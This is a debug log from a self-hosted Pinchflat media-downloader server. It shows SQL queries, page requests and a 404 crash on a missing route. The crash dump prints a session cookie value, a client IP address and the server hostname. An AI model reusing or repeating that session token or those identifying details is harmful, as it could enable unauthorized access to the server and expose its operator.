m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:53:43.337 [debug] QUERY OK source="media_items" db=1.4ms idle=3.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:43.338 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.339 [debug] QUERY OK source="media_items" db=0.3ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 17:53:43.339 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:43.340 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.341 [debug] QUERY OK source="media_items" db=0.7ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 17:53:43.343 [debug] QUERY OK source="media_items" db=1.0ms idle=3.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 17:53:43.344 [info] Sent 200 in 14ms 17:53:43.355 [info] GET /sources/2/sync_files_on_disk 17:53:43.355 [debug] QUERY OK source="settings" db=0.1ms idle=16.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.356 [debug] QUERY OK source="settings" db=0.1ms idle=16.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.356 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:43.357 [error] #PID<0.162993.0> running PinchflatWeb.Endpoint (connection #PID<0.162992.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162992.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48426}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162993.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT4syZk_K0Z4AFpJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162992.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48426}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162992.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48426}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162993.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [ (truncated) 17:53:43.379 [info] GET /sources/2/media/472253/edit 17:53:43.379 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "472253", "source_id" => "2"} Pipelines: [:browser] 17:53:43.380 [debug] QUERY OK source="media_items" db=0.2ms idle=39.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [472253] 17:53:43.380 [debug] QUERY OK source="settings" db=0.1ms idle=38.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.381 [debug] QUERY OK source="settings" db=0.0ms idle=37.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.381 [debug] QUERY OK source="settings" db=0.1ms idle=25.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.382 [info] Sent 200 in 2ms 17:53:43.466 [info] GET /sources/2/media/366904/edit 17:53:43.466 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "366904", "source_id" => "2"} Pipelines: [:browser] 17:53:43.467 [debug] QUERY OK source="media_items" db=0.3ms queue=0.2ms idle=110.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [366904] 17:53:43.468 [debug] QUERY OK source="settings" db=0.2ms idle=87.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.468 [debug] QUERY OK source="settings" db=0.2ms idle=87.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.469 [debug] QUERY OK source="settings" db=0.1ms idle=87.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.470 [info] Sent 200 in 3ms 17:53:43.475 [info] GET /sources/2/media/310552 17:53:43.475 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "310552", "source_id" => "2"} Pipelines: [:browser] 17:53:43.475 [debug] QUERY OK source="media_items" db=0.1ms idle=94.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [310552] 17:53:43.476 [debug] QUERY OK source="tasks" db=0.2ms idle=8.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [310552] 17:53:43.476 [debug] QUERY OK source="sources" db=0.4ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.477 [debug] QUERY OK source="settings" db=0.1ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.477 [debug] QUERY OK source="settings" db=0.0ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.477 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.478 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.479 [info] Sent 200 in 4ms 17:53:43.481 [info] GET /sources/2/media/231209 17:53:43.481 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "231209", "source_id" => "2"} Pipelines: [:browser] 17:53:43.481 [debug] QUERY OK source="media_items" db=0.3ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [231209] 17:53:43.482 [debug] QUERY OK source="tasks" db=0.3ms idle=4.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [231209] 17:53:43.482 [debug] QUERY OK source="sources" db=0.4ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.482 [debug] QUERY OK source="settings" db=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.483 [debug] QUERY OK source="settings" db=0.0ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.483 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.484 [info] GET /sources/2/media/310552/edit 17:53:43.484 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "310552", "source_id" => "2"} Pipelines: [:browser] 17:53:43.484 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.485 [debug] QUERY OK source="media_items" db=0.6ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [310552] 17:53:43.486 [info] Sent 200 in 5ms 17:53:43.487 [debug] QUERY OK source="settings" db=0.9ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.488 [debug] QUERY OK source="settings" db=0.1ms queue=0.2ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.489 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.495 [info] Sent 200 in 11ms 17:53:43.530 [info] GET /sources/2/media/231209/edit 17:53:43.530 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "231209", "source_id" => "2"} Pipelines: [:browser] 17:53:43.530 [debug] QUERY OK source="media_items" db=0.2ms idle=46.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", 